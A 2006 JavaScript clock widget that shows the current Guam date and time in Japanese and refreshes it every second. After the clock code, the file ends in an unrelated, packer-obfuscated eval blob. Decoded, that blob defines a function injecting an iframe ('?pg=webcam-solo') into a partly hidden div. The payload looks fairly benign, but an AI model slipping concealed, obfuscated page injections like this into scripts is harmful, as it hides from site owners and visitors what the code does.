/**
 * FrozDate
 * @author		Jerome Coloma
 * @email 		jeromecoloma@gmail.com
 * @version		1.0
 * @update 		2006-12-13
 *
**/

var jsTime         = new com.frozynart.PHPTimeToJSTime( );

//jsTime.setInitTime( '<?php echo date( "F d, Y H:i:s", time() ); ?>' );

var FrozDate = {
	jsTime:'',
	elId:'',
	init:function( $jsTime, $elId ) {
		FrozDate.jsTime = $jsTime;
		FrozDate.elId   = $elId;
	},
	display:function( ) {
		var displayStr = '';
		displayStr = '現在のグアムの日時 &nbsp;:&nbsp;&nbsp;';
		displayStr += FrozDate.jsTime.getFullYear( );
		displayStr += '年';
		displayStr += FrozDate.jsTime.getMonth( )+1;
		displayStr += '月';
		displayStr += FrozDate.jsTime.getDate( );
		displayStr += '日&nbsp;&nbsp;&nbsp;';
		displayStr += FrozDate.jsTime.getHours( );
		displayStr += '時';
		displayStr += FrozDate.jsTime.getMinutes( );
		displayStr += '分';
		displayStr += FrozDate.jsTime.getSeconds( );
		displayStr += '秒';
		document.getElementById( FrozDate.elId ).innerHTML = displayStr;
		
		//document.getElementById( FrozDate.elId ).innerHTML = displayStr;
	},
	tick:function( ) {
		setInterval( FrozDate.display, 1000 );
	},
	displayAndTick:function( ) {
		FrozDate.display( );
		FrozDate.tick( );
	}
};
FrozDate.init( jsTime, 'clock' );
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('33 32(){24 1=30.29(\'28\');27(1){1.2=\'<3 8="6:26; 7:25; 11-4:23; 10:0; 21:16;">\';1.2+=\'<3 8="17-4:19;">\';1.2+=\'<5 22="?31=13-12" 6="14" 7="18" 20="0" 9="15"></5>\';1.2+=\'</3>\';1.2+=\'</3>\'}}',10,34,'|e|innerHTML|div|align|iframe|width|height|style|scrolling|border|text|solo|webcam|320|no|hidden|vertical|240|top|frameborder|overflow|src|center|var|50px|320px|if|w|getElementById|document|pg|rtc|function'.split('|'),0,{}))